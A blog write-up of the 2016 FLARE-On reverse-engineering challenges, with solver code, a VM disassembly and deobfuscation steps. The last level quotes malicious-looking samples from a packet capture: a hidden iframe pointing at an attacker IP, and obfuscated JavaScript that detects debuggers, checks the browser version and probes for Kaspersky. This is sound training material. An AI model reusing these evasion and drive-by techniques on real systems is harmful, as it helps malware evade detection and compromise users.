Sunday, November 6, 2016

FLARE-On 2016 Writeup


Introduction

I usually don't blog but this challenge comes every year with much more quality challenges and interesting stuff to analyze, So I just couldn't resist to publish my solutions :).
Despite this year's guessing metric was really high, the obfuscation and other quality stuff implemented made the challenge much more entertaining than the last two challenges.

Before you start I suggest you download the working files from here which contains all the challenges, deobfuscated files and tools I coded to solve this challenge.

Level One



First level is tricky for people with short experience in RE. It simply uses BASE64 encoding with custom alphabet.

Decoding the string “x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q” using "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/” as custom alphabet will result in the first email "sh00ting_phish_in_a_barrel@flare-on.com".

Level Two

Level two starts by checking the folder “Briefcase” on the desktop. then checks if the volume serial number equals to 0x7DAB1D35. You have to meet both requirements.

Then it starts to encrypt all the files in the "Briefcase" folder using AES-256 then drops a ransom note in the form of an image in the "Briefcase" folder. Also changes the computer background to the ransom not image.

As this level two I didn't took much time in analzying how the key is generate, I patched the executable to decrypt the files instead of decrypting it using the following two patches:





The encrypted file "BusinessPapers.doc" which was provided by the challenge appears to be an JPEG image that contains the email.


Level Three

Here we have a 32bit executable file that expects a command line argument to move on.

At first it calculates a hash that depends on the following two factors:

A - Executable file name



The challenge calculates a checksum for part of the file name which follows the last occurrence of the letter “r”.

We can get the original file name from the pdb file path that is hardcoded into the executable.

B- Command line argument length



There is a check that makes sure that only the first 0x1B bytes form the input argument is considered. So we know now that the input length should be equal to 0x1B.


Using the hash that was calculated based on the last two discussed variables, the challenge will decrypt a block at address 0x4181c0 using RC4 algorithm.

Each character from the input argument is joined to its index+0x60 plus the string “FLARE On!”

Then it calculates a checksum for each string and compares each checksum with the corresponding value from the previously decrypted block.

Now everything became clear and we can get the email by bruteforcing each character to get the desired checksum.

Email is "Ohs0pec1alpwd@flare-on.com"

Level Four



This level we only have a DLL file. It has 51 exported functions. Functions from ordinal number 1 to 48 manipulate a data block that starts at address 0x10007014 and returns a number. Function 49 prints the email, Function 50 plays the Beep sound depending on the supplied duration and frequency, and also it manipulates the data block at 0x10007028 that is used later to decrypt the email. Function 51 decrypts data at address 0x10007060 using data starts at 0x10007014 as a key, then prints “play me a song, have me play along..”

By calling each function from ordinal 1 to 48 and saving the return value I got the following table:



As you can see no function returns the values 30, 49 and 50. It became clear that each function returns the ordinal number of the next function to be executed. Functions 49 and 50 seems to be excluded from this process and function 30 is the first function to be called, that’s why no other function returns value equals 30.

The calling chain will start with function 30 and will end with function 51



At function 51, the memory block at 0x507060 is being decrypted using the previously decrypted key “usetheforceluke!” The algorithm used is Cast 128.



The decrypted data is an executable that plays music using the beep function. Last thing is we need to call function 50 to play the same music so we can decrypt the email.



And we are done with this one.

Level Five

This level was interesting. It had a simple 16 bit virtual machine that validates the command line argument then the argument gets hashed and the hash is used as a decryption key for RC4 algorithm to decrypt the email.



The VM consists of 14 instructions and four registers. RegisterA and RegisterB as general registers, a Stack Pointer (SP) and Instruction Pointer (IP).

1-Push_Const

Push a constant word into the stack.

2- Pop

Pop top word from the stack.

3- Add

Pops the top two words from the stack, adds them then push back the result into the stack.

4- Sub

Same as Add but subtract the two values instead.

5- ROR

Pops the top two words from the stack, applies ROR operation then push back the result.

6- ROL

Pops the top two words from the stack, applies ROL operation then push back the result.

7- XOR

Pops the top two words from the stack, Xor them then push back the result into the stack.

8- NOT

Pops the top word from the stack, apply NOT operation then push back the result into the stack.

9- CMP

Pops the top two words from the stack, Compare them then push back ZFlag into the stack.

10- Cmp_ZFlag

This instruction is preceded by two push instructions that push two addresses. The instruction pops the ZFlag, the two addresses and then decide which address the execution will be transferred to based on the ZFlag.

11- POP_IP

Pops the decided address from the stack into IP register.

12- Push_Reg

This instruction can push any of the four registers into the stack.

13- Pop_Reg

This instruction can pop from the stack into any of the four registers.

14 – NOP

A NOP instruction and is used at the end of the program.


I attached a small tool that converts the VM OPCodes into assembly instructions that you can paste into “Multiline Ultimate Assembler” plugin for Ollydbg, so debugging can be easy.

 Xor ESI,Esi 
 Xor EDI,Edi 
 Sub Esp,2 
 Mov Word PTR[ESP],6b
 Sub Esp,2 
 Mov Word PTR[ESP],59
 Sub Esp,2 
 Mov Word PTR[ESP],77
 Sub Esp,2 
 Mov Word PTR[ESP],78
 Sub Esp,2 
 Mov Word PTR[ESP],43
 Sub Esp,2 
 Mov Word PTR[ESP],62
 Sub Esp,2 
 Mov Word PTR[ESP],4a
 Sub Esp,2 
 Mov Word PTR[ESP],6f
 Sub Esp,2 
 Mov Word PTR[ESP],4c
 Sub Esp,2 
 Mov Word PTR[ESP],70
@0:
 Sub Esp,2 
 Mov Word PTR[ESP],21 
@2:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@3:
 Sub Esp,2 
 Mov Word PTR[ESP],91 
@5:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @22
@12:
 Push SI 
@14:
 Sub Esp,2 
 Mov Word PTR[ESP],0C 
@16:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@17:
 Pop SI 
@19:
 Jmp @29
@22:
 Push SI 
@24:
 Sub Esp,2 
 Mov Word PTR[ESP],63 
@26:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@27:
 Pop SI 
@29:
 Sub Esp,2 
 Mov Word PTR[ESP],18 
@31:
 Pop Ax
 Pop Bx
 Xor Bx,Ax
 Push Bx
@32:
 Sub Esp,2 
 Mov Word PTR[ESP],54 
@34:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @51
@41:
 Push SI 
@43:
 Sub Esp,2 
 Mov Word PTR[ESP],2C 
@45:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@46:
 Pop SI 
@48:
 Jmp @61
@51:
 Sub Esp,2 
 Mov Word PTR[ESP],0E 
@53:
 Mov Ax, Word PTR[ESP]
 Add Esp,2
@54:
 Push SI 
@56:
 Sub Esp,2 
 Mov Word PTR[ESP],59 
@58:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@59:
 Pop SI 
@61:
 Push SI 
@63:
 Sub Esp,2 
 Mov Word PTR[ESP],00 
@65:
 Pop DI 
@67:
 Sub Esp,2 
 Mov Word PTR[ESP],09 
@69:
 Pop SI 
@71:
 Push DI 
@73:
 Sub Esp,2 
 Mov Word PTR[ESP],02 
@75:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@76:
 Pop DI 
@78:
 Push SI 
@80:
 Sub Esp,2 
 Mov Word PTR[ESP],01 
@82:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@83:
 Pop SI 
@85:
 Push SI 
@87:
 Sub Esp,2 
 Mov Word PTR[ESP],00 
@89:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @71
@96:
 Pop SI 
@98:
 Push DI 
@100:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@101:
 Sub Esp,2 
 Mov Word PTR[ESP],5D 
@103:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @124
@110:
 Push SI 
@112:
 Sub Esp,2 
 Mov Word PTR[ESP],07 
@114:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@115:
 Pop SI 
@117:
 Sub Esp,2 
 Mov Word PTR[ESP],5B 
@119:
 Pop DI 
@121:
 Jmp @135
@124:
 Sub Esp,2 
 Mov Word PTR[ESP],36 
@126:
 Pop DI 
@128:
 Push SI 
@130:
 Push DI 
@132:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@133:
 Pop DI 
@135:
 Push DI 
@137:
 Sub Esp,2 
 Mov Word PTR[ESP],58 
@139:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@140:
 Pop Ax
 Pop Bx
 Xor Bx,Ax
 Push Bx
@141:
 Sub Esp,2 
 Mov Word PTR[ESP],F9 
@143:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @160
@150:
 Push SI 
@152:
 Sub Esp,2 
 Mov Word PTR[ESP],4D 
@154:
 Pop Ax
 Pop Bx
 Xor Bx,Ax
 Push Bx
@155:
 Pop SI 
@157:
 Jmp @174
@160:
 Sub Esp,2 
 Mov Word PTR[ESP],323 
@162:
 Sub Esp,2 
 Mov Word PTR[ESP],12B 
@164:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@165:
 Pop DI 
@167:
 Push SI 
@169:
 Push DI 
@171:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@172:
 Pop DI 
@174:
 Pop DI 
@176:
 Push DI 
@178:
 Push DI 
@180:
 Sub Esp,2 
 Mov Word PTR[ESP],01 
@182:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@183:
 Pop DI 
@185:
 Sub Esp,2 
 Mov Word PTR[ESP],03 
@187:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@188:
 Push DI 
@190:
 Sub Esp,2 
 Mov Word PTR[ESP],00 
@192:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @178
@199:
 Pop Ax
 Not Ax
 Push Ax
@200:
 Sub Esp,2 
 Mov Word PTR[ESP],FE77 
@202:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @216
@209:
 Push SI 
@211:
 Sub Esp,2 
 Mov Word PTR[ESP],58 
@213:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@214:
 Pop SI 
@216:
 Sub Esp,2 
 Mov Word PTR[ESP],03 
@218:
Xor Eax,Eax
 Pop Cx
 Pop Ax
 Ror Ax,cl
 Push Ax
@219:
 Sub Esp,2 
 Mov Word PTR[ESP],8C 
@221:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@222:
 Sub Esp,2 
 Mov Word PTR[ESP],6094 
@224:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @238
@231:
 Push SI 
@233:
 Sub Esp,2 
 Mov Word PTR[ESP],E7 
@235:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@236:
 Pop SI 
@238:
 Push DI 
@240:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@241:
 Sub Esp,2 
 Mov Word PTR[ESP],0C 
@243:
 Pop Ax
 Pop Bx
 Xor Bx,Ax
 Push Bx
@244:
 Sub Esp,2 
 Mov Word PTR[ESP],74 
@246:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @263
@253:
 Push SI 
@255:
 Sub Esp,2 
 Mov Word PTR[ESP],09 
@257:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@258:
 Pop SI 
@260:
 Jmp @285
@263:
 Sub Esp,2 
 Mov Word PTR[ESP],0A 
@265:
 Pop DI 
@267:
 Push DI 
@269:
 Sub Esp,2 
 Mov Word PTR[ESP],01 
@271:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@272:
 Pop DI 
@274:
 Push DI 
@276:
 Sub Esp,2 
 Mov Word PTR[ESP],00 
@278:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @267
@285:
 Sub Esp,2 
 Mov Word PTR[ESP],06 
@287:
Xor Eax,Eax
 Pop Cx
 Pop Ax
 Rol Ax,cl
 Push Ax
@288:
 Sub Esp,2 
 Mov Word PTR[ESP],1DC0 
@290:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @307
@297:
 Push SI 
@299:
 Sub Esp,2 
 Mov Word PTR[ESP],71 
@301:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@302:
 Pop SI 
@304:
 Jmp @317
@307:
 Push SI 
@309:
 Sub Esp,2 
 Mov Word PTR[ESP],77 
@311:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@312:
 Pop SI 
@314:
 Jmp @317
@317:
 Sub Esp,2 
 Mov Word PTR[ESP],16 
@319:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@320:
 Sub Esp,2 
 Mov Word PTR[ESP],0E 
@322:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@323:
 Sub Esp,2 
 Mov Word PTR[ESP],61 
@325:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @339
@332:
 Push SI 
@334:
 Sub Esp,2 
 Mov Word PTR[ESP],2C 
@336:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@337:
 Pop SI 
@339:
 Pop DI 
@341:
 Push DI 
@343:
 Sub Esp,2 
 Mov Word PTR[ESP],212C 
@345:
 Push DI 
@347:
 Sub Esp,2 
 Mov Word PTR[ESP],01 
@349:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@350:
 Pop DI 
@352:
 Sub Esp,2 
 Mov Word PTR[ESP],07 
@354:
 Pop Ax
 Pop Bx
 Sub Bx,Ax
 Push Bx
@355:
 Push DI 
@357:
 Sub Esp,2 
 Mov Word PTR[ESP],00 
@359:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @345
@366:
 Sub Esp,2 
 Mov Word PTR[ESP],1CA 
@368:
 Pop Ax
 Pop Bx
 Xor Bx,Ax
 Push Bx
@369:
 Sub Esp,2 
 Mov Word PTR[ESP],1FF5 
@371:
 Pop Ax
 Pop Bx
 Cmp Bx,Ax
 jnz @385
@378:
 Push SI 
@380:
 Sub Esp,2 
 Mov Word PTR[ESP],12 
@382:
 Pop Ax
 Pop Bx
 Add Bx,Ax
 Push Bx
@383:
 Pop SI 
@385:
 NOP

The correct command line argument will be “kYwxCbJoLp”. The checking algorithm is simple so I will skip it.

With the correct argument we will get the correct email "A_p0p_pu$H_&_a_Jmp@flare-on.com" printed.

Level Six




This level generates a random number between 1 and 100 and asks you to guess it. After guessing the numbers you just get the above message.

The executable is made by Py2exe to extract the python bytecode I used unpy2exe tool. I tried a lot of decompilers to decompile it but all failed. So it’s time to dissasmeble it with pycdump to see what crashes the decompilers.



It took couple of minutes to spot the suspicious obfuscation pattern.

Double ROT_TWO instructions and triple ROT_THREE instructions which basically have no effect except that they confuse the decompiler.

Googling for that ROT_TWO obfuscation I landed on blog post by FireEye! The article talks about the obfuscation technice that is used in this level and provides a python script that deobfuscate and decompile the python script.

Running the FLARE Team’s script, we get a clean decompiled script file.

#Embedded file name: poc.py
import sys, random
__version__ = 'Flare-On ultra python obfuscater 2000'
target = random.randint(1, 101)
count = 1
error_input = ''
while True:
    print '(Guesses: %d) Pick a number between 1 and 100:' % count,
    input = sys.stdin.readline()
    try:
        input = int(input, 0)
    except:
        error_input = input
        print 'Invalid input: %s' % error_input
        continue

    if target == input:
        break
    if input < target:
        print 'Too low, try again'
    else:
        print 'Too high, try again'
    count += 1

if target == input:
    win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
    sys.stdout.write(win_msg)
if count == 1:
    print 'Status: super guesser %d' % count
    sys.exit(1)
if count > 25:
    print 'Status: took too long %d' % count
    sys.exit(1)
else:
    print 'Status: %d guesses' % count
if error_input != '':
    tmp = ''.join((chr(ord(x) ^ 66) for x in error_input)).encode('hex')
    if tmp != '312a232f272e27313162322e372548':
        sys.exit(0)
    stuffs = [67,     139,     119,     165,     232,     86,     207,     61,     79,     67,     45,     58,     230,     190,     181,     74,     65,     148,     71,     243,     246,     67,     142,     60,     61,     92,     58,     115,     240,     226,     171]
    import hashlib
    stuffer = hashlib.md5(win_msg + tmp).digest()
    for x in range(len(stuffs)):
        print chr(stuffs[x] ^ ord(stuffer[x % len(stuffer)])),
    print

The script XOR the input with 66 and compares the result with "312a232f272e27313162322e372548”. By reversing the XOR we get the correct input “shameless plug”. Then the script compute MD5 hash for the win_msg plus tmp and use that hash to decrypt the email. We have 100 possibility for win_msg because of the count variable, so we will generate all the 100 possibilities and look for @flare-on.com to get the email.

import sys, random
count = 1
error_input = 'shameless plug\n'
for k in range(1,100):

    win_msg = 'Wahoo, you guessed it with %d guesses\n' % k
    if error_input != '':
        tmp = ''.join((chr(ord(x) ^ 66) for x in error_input)).encode('hex')
        if tmp != '312a232f272e27313162322e372548':
            sys.exit(0)
        stuffs = [67,
         139,
         119,
         165,
         232,
         86,
         207,
         61,
         79,
         67,
         45,
         58,
         230,
         190,
         181,
         74,
         65,
         148,
         71,
         243,
         246,
         67,
         142,
         60,
         61,
         92,
         58,
         115,
         240,
         226,
         171]
        import hashlib
        stuffer = hashlib.md5(win_msg + tmp).digest()
        email = ''.join(chr(stuffs[x] ^ ord(stuffer[x % len(stuffer)])) for x in range(len(stuffs)))
        if email.find('@flare') != -1:
            print email

Finally the email is "1mp0rt3d_pygu3ss3r@flare-on.com"

Level Seven



This one was tricky, it does the following:

1- Checks the command line argument length to be 30.
2- Split the argument into five strings with length of six chars each.
3- Compute the SHA-1 hash for the first string then compute again the SHA-1 hash for the resulted hash.
4- The first byte of the resulted hash is a seed for algorithm that decides where the good hashes starts in the byte array at address 0x804BB80.
5- Compare the hash with the one hardcoded in the file.
6- Repeat step 3 and 5 for the other strings.

The problem here is that the hashes, that the challenge use to check our input, changes depending on the hash of the first string. But we already know that the last string should be “on.com” and so we know what the last hash should be.

We will generate all the possible hash tables, which are 256 table, then we will check if the last hash matches the hash of “on.com”.

Doing that I got the correct seed to be 0x3C. The rest is just bruteforcing the hashes using the following charset “abcdefghijklmnopqrstuvwxyz@-._1234”.

The resulted email is "h4sh3d_th3_h4sh3s@flare-on.com"

Level Eight


That one puzzled me for sometime, it starts as what it looks to be an "easy" challenge, but after reversing the XOR algorithm I got "this is the wrong password" and obviously this password won't work.



Looking at the DOS Stub, I noticed a jump at the end that jumps into the data section. So this level wasn't meant for Windows in the first place. It's for DOS!



The above loop decrypts the next code to be executed



The challenge will exit if the date is after the year 1990, then it displays the message “This one’s for the geezers” just like the fake check.

The following algorithm is used to check for the input:

unsigned char FArray[] = {0x38,0xE1,0x4A,0x1B,0x0C,0x1A,0x46,0x46,0x0A,0x96,0x29,0x73,0x73,0xA4,0x69,0x03,0x00,0x1B,0xA8,0xF8,0xB8,0x24,0x16,0xD6,0x09,0xCB};
unsigned char XorArray[] = {0xFF,0x15,0x74,0x20,0x40,0x00,0x89,0xEC,0x5D,0xC3,0x42,0x46,0xC0,0x63,0x86,0x2A,0xAB,0x08,0xBF,0x8C,0x4C,0x25,0x19,0x31,0x92,0xB0,0xAD,0x14,0xA2,0xB6,0x67,0xDD,0x39,0xD8,0x5F,0x3F,0x7B,0x5C,0xC2,0xB2,0xF6,0x2E,0x75,0x9B,0x61,0x94,0xCF,0xCE,0x6A,0x98,0x50,0xF2,0x5B,0xF0,0x45,0x30,0x0E,0x38,0xEB,0x3B,0x6C,0x66,0x7F,0x24,0x3D,0xDF,0x88,0x97,0xB9,0xB3,0xF1,0xCB,0x83,0x99,0x1A,0x0D,0xEF,0xB1,0x03,0x55,0x9E,0x9A,0x7A,0x10,0xE0,0x36,0xE8,0xD3,0xE4,0x32,0xC1,0x78,0x07,0xB7,0x6B,0xC7,0x70,0xC9,0x2C,0xA0,0x91,0x35,0x6D,0xFE,0x73,0x5E,0xF4,0xA4,0xD9,0xDB,0x43,0x69,0xF5,0x8D,0xEE,0x44,0x7D,0x48,0xB5,0xDC,0x4B,0x02,0xA1,0xE3,0xD2,0xA6,0x21,0x3E,0x2F,0xA3,0xD7,0xBB,0x84,0x5A,0xFB,0x8F,0x12,0x1C,0x41,0x28,0xC5,0x76,0x59,0x9C,0xF7,0x33,0x06,0x27,0x0A,0x0B,0xAF,0x71,0x16,0x4A,0xE9,0x9F,0x4F,0x6F,0xE2,0x0F,0xBE,0x2B,0xE7,0x56,0xD5,0x53,0x79,0x2D,0x64,0x17,0x95,0xA7,0xBD,0x7C,0x1D,0x58,0x93,0xA5,0x65,0xF8,0x18,0x13,0xEA,0xBC,0xE5,0xF3,0x37,0x04,0x96,0xA8,0x1E,0x01,0x29,0x82,0x51,0x3C,0x68,0x1F,0x8E,0xDA,0x8A,0x05,0x22,0x72,0x49,0xFA,0x87,0xA9,0x54,0x62,0xC6,0xAA,0x09,0xB4,0xFD,0xD6,0xD1,0xAC,0x85,0x11,0x47,0x3A,0x9D,0xE6,0x4D,0x1B,0xCC,0x52,0x80,0x23,0xFC,0xED,0x8B,0x7E,0x60,0xCD,0x6E,0x57,0xBA,0xDE,0xAE,0xCA,0xC4,0x77,0x0C,0x4E,0xD4,0xD0,0xC8,0xE1,0xB8,0xF9,0x26,0x90,0x81,0x34};

int sz = strlen((char*)Input);
 for(int i=sz-1;i>=0;i--)
 {
  if(i==sz-1)
  {
   Input[sz-1] ^= XorArray[XorArray[rol(rol(rol(0x97)))]];
  }
  else
  {
   Input[i] ^= XorArray[XorArray[rol(rol(rol(Input[i+1])))]];
  }
 }
 for(int i = 0;i<sz;i++)
 {
  if(i==0)
  {
   Input[0] ^= 0xC5;
  }
  else
  {
   Input[i] ^= Input[i-1];
  }
  if(Input[i] != FArray[i])
  {
   printf("Wrong Email");
   return 0;
  }
 }

And the following is its reverse

for(int i = sizeof(FArray)-1;i>=0;i--)
 {
  if( i==0)
  {
   Temp[0] = FArray[0]^0xC5;
  }
  else
  {
   Temp[i] = FArray[i]^FArray[i-1];
  }
 }


 for(int i=0x19;i>=0;i--)
 {
  for(unsigned char j=0;j<0xFF;j++)
  {
   if(i==0x19)
   {
    if( ((j^XorArray[XorArray[rol(rol(rol(0x97)))]])) == Temp[i])
       {
    Email[i] = j;
    break;
       }
   }
   else
      {
    char t = Email[i+1];
   if( ((j^XorArray[XorArray[rol(rol(rol(Temp[i+1])))]])) == Temp[i])
   {
    Email[i] = j;
    break;
   }
   }
  }
 }
 printf("%s",Email);

The email will be "retr0_hack1ng@flare-on.com"

Level Nine

This one is my favorite, It’s a .Net file that is obfuscated. I will talk first about the obfuscation used and how to deobfuscate the file then I will talk about its operation.

First we have to run de4dot to rename non readable names.



It’s obvious that the strings are obfuscated and gets decrypted during runtime. De4dot has a great option to restore obfuscated strings by dynamically calling the methods that decrypt the strings then logs the decrypted string and then restore it back.

However in this case de4dot fails to decrypt the strings. Fortunately de4dot is an open source project so we can fix the problem easily.

The problem is that de4dot expects that the return value type of the decryption method should be an object or string, but in this case the obfuscator uses generic methods so de4dot fails.
To fix this I modified method DefineStringDecrypter to be as the following

public int DefineStringDecrypter(int methodToken) {
 CheckStringDecrypter();
 var methodInfo = FindMethod(methodToken);
            
 if (methodInfo == null)
  throw new ApplicationException(string.Format("Could not find method {0:X8}", methodToken));
        if (methodInfo.ReturnType.IsGenericParameter)
                methodInfo = methodInfo.MakeGenericMethod(typeof(string));
 if (methodInfo.ReturnType != typeof(string) && methodInfo.ReturnType != typeof(object))
  throw new ApplicationException(string.Format("Method return type must be string or object: {0}", methodInfo));
 return stringDecrypter.DefineStringDecrypter(methodInfo);
}

Running de4dot again with the command “GUI.exe --strtyp delegate --strtok 06000004 --strtok 06000005 --strtok 06000006 --strtok 06000007 --strtok 06000008” I got a clean file to analyze.



Layer One

Layer one  gets decrypted and loaded into memory. To break on the start of layer one, break on InvokeMethodFast then step into _InvokeMethodFast.



We stopped at the start of layer1. You can save layer1 now and deobfuscate it but you will find that method “Start” is empty. The second method in the above figure is the one responsible for decrypting and loading method “Start”. Steping over the decryption method wasn’t enough for dnspy to load the decrypted method. I had to step into the decryption method, so dnspy can identify the loaded method.

After saving layer1 to disk, I deobufscated layer1 as I did with “gui.exe”



To move forward, the challenge checks that the system has more than a core and there is no debugger used using IsDebuggerPresent then decrypts and loads layer two.



It searches for a folder in the executable directory that it’s name’s MD5 hash is equal to “52d6127375d82f3e300827eb479b2c65”, if found, the decryption key for layer1 will be “flare-“ plus the file name. if not the decryption key “flare0layer1-key” will be used, and ofcourse the later one is the wrong key.

Using an online service that cracks MD5 using rainbow table, the file name is found to be “sharing”.

Layer Two



Layer two applies control flow obfuscation, but it’s not really effective in this case as the code is already small and we can already predict the flow easily. It detects if its running under virtual machine by detecting if the video card is emulated. Then loads a key to decrypt and load layer3.

To get the key, It checks if there is a key under HKEY_CURRENT_USER that its name’s MD5 hash is equal to “5ebe2294ecd0e0f08eab7690d2a6ee69” which is after cracking appears to be “secret”

Layer Three 




The last layer checks for user account with the name “shamir” then drops an image and an executable file. The executable belongs to “Shamir's Secret Sharing Scheme” and the image contains the share number six. To get the other five shares just search the layers, we already deobufscated the string.



And now to the last level.

Level Ten





We are only provided with a 20MB PCAP file, with no clue what I should look for.

First thing is to look for suspicious IPs, to do that navigate to Statistics > HTTP > Load Distribution.

The IPs 10.11.106.81 and 10.14.56.20 couldn’t be resolved and looks suspicious. You can dump the traffic for each IP separately as follows:

1- Apply the filter “ip.addr == 10.11.106.81”
2- File -> Export Specified Packets.
3- Open the newly created PCAP file then File -> Export Object -> Save All

Doing the same for the other IP, now we have separate PCAP file for each IP and we dumped all the objects in each traffic.

<!--“flareon_found_in_milpitas.html”-->
<!DOCTYPE html>
<html>
<body>

<div align="center"><strong><font size="5" color="red">Are You Ready For the Challenge??</font></strong></div>
<div align="center"><img src="flareon_html/flareon.png" alt="flareon" height="542" width="542"></div>
<div align="center"><strong><font size="3" color="black">Rumor has it hat this pokemon is sighted in Milipitas, CA. Can you catch it?</font></strong></div>
<iframe src="http://10.14.56.20:18089" width="0" height="0" style="border:none;">

</body>
</html>

There was nothing important that belongs to the IP 10.11.106.81 except the file “flareon_found_in_milpitas.html”, it sends a request to the second suspicious IP 10.14.56.20.




Index page of the IP 10.14.56.20 contains nonmeaningful words, but it contains an important javascript code which is heavily obfuscated. I deobufscated the first layer manually with an aid of Firefox Add-on FireBug.

Layer One


function EqUfdx() {
 
 var utaNfs = LiZAqJ,
  nUdfreg = String;
 
 try {
  if (window['ScriptEngineBuildVersion']() === (545) ) 
  {
   utaNfs = 0;
  } else {
   utaNfs = 2;
  }
 } catch (e) {
  utaNfs = 4;
 }
 LiZAqJ = utaNfs;
}

First the scripts tries to detect the Script Engine Build Version and this function is only supported by IE. The version has to be equal to 545 in order to decrypt layer two later.

function v5Z16(Fu, ya4o) {


 var R$FBC = new Array(),
  JoJH = String['fromCharCode'];
 
 var DM7w7I = LiZAqJ; 
 var t = new Date() - JKhURsf;
 if (!DM7w7I) {
  if (window && (!window['outerWidth'] || window['outerWidth'] < (856))) 
  {
   DM7w7I = 1;
  } else {
   DM7w7I = (new Date() - JKhURsf > 100) ? 3 : 0
  }
 }
 var fC5Z =  ogv(Fu);
 var S7z = clx(ya4o);//Base64Decode(ya4o)
 for (var Ssa = 0; Ssa < fC5Z.length; Ssa++) {
  var bvp1u = fC5Z[Ssa];
  if (S7z.length < 0) {
   bvp1u = 1
  }
  if (S7z.length > 0) bvp1u ^= S7z[DM7w7I];
  if (!UIgvkFSsu()) //true if date < 2016/09/09
  {
   (DM7w7I++) % 7
  };
  R$FBC[Ssa] =  bvp1u
 }
 var qXgdUv =  "";
 for (var Jk = 0; Jk < 'length'; Jk++) {
  var S7z = R$FBC[Jk];
  qXgdUv += JoJH(S7z)
 }
 return qXgdUv;
};

The windows width must be larger than 856. And to check if it's being debugged, the time duration between starting the script and when the execution reached this function has to be less the 0.1 second.

The second layer code is saved encrypted and Base64 encoded at span with ID “oq6iFsbdiAj”. It gets decoded and then decrypted using XOR based algorithm. A last check to fully decrypt the second layer is the current date has to be before 2016/09/09.

Layer Two


function k() {
    String['prototype']['kek'] = function(a, b, c, d) {
        var e = '';
        a = unescape(a);
        for (var f = 0; f < a['length']; f++) {
            var g = b ^ a['charCodeAt'](f);
            e += String['fromCharCode'](g);
            b = (b * c + d) & 0xFF;
        }
        return e;
    }, String['prototype']['' ['kek']('%0B%5Ei', 108, 41, 237)] = function() {
        return '' ['kek']('%C96%E4B%3Ei_%83n%C1%82%FB%DC%01%EAA+o', 175, 129, 43);
    }, String['prototype']['' ['kek']('6%87%24', 94, 13, 297)] = function() {
        return '' ['kek']('4%94%0D%86%7BVXJ%AD%1C%87%0E%FE%C0%DA%D2%20%82%01%ACWAJd%B6%06%8D/', 92, 33, 31);
    };

    try {
        m();
        var a = l();
        var b = Function(a);
        b();
    } catch (zzzzz) {}
}

Layer two and three obfuscate the strings using the function in the figure above. I coded a small tool, simple but efficient for this challenge, to decrypt all of the strings obfuscated by this function.

function j() {
    var blah;
    var a = navigator,
        b = 0;
    if (a["userAgent"]["indexOf"]("MSIE") == -1 && a["appVersion"]["indexOf"]("Trident/") == -1) {
        window.gFVaUK = true;
    }
    var c = "Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi";

    var d = c,
        e = c + ".1",
        f = c + ".4_5_0.1";

    try {
        blah = new ActiveXObject(d);
    } catch (w) {
        blah = false;
        try {
            blah = new ActiveXObject(e);
        } catch (w) {
            blah = false;
            try {
                blah = new ActiveXObject(f);
            } catch (w) {
                blah = false;
            }
        }
    }
    if (blah) {
        window.LAAOEpH = true;
    }

    if (!window.gFVaUK && !window.LAAOEpH) {
        window['UoqK1Yl'] = window['rghv3ee'];//Standard Base64 alphabet 
    } else {
        window['UoqK1Yl'] = window['wdns9Ie'];//Mirrored Base64 alphabet
    }
}

First it tries to detect if it’s running under IE by searching the UserAgent for “MSIE” and AppVersion for “Trident” then it checks if Kaspersky is installed by checking the ActivexObject “Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi”. If it detected Kaspersky or not running under IE, the challenge will decode layer three using modified Base64 alphabet which will produce corrupted code.

Layer Three



Deobufscating the strings only wasn’t enough for layer three as the strings are not used directly but assigned to variables with obfuscated names. However that can also be cleaned by few lines of code.

Il1Iwa = function() {
    function Il1Il1Il1a() {
        var a = false;
        try {
            var b = os;
            var c = print;
            c(b["system"]("echo", ["I just rmed your root dir. You're welcome."]));
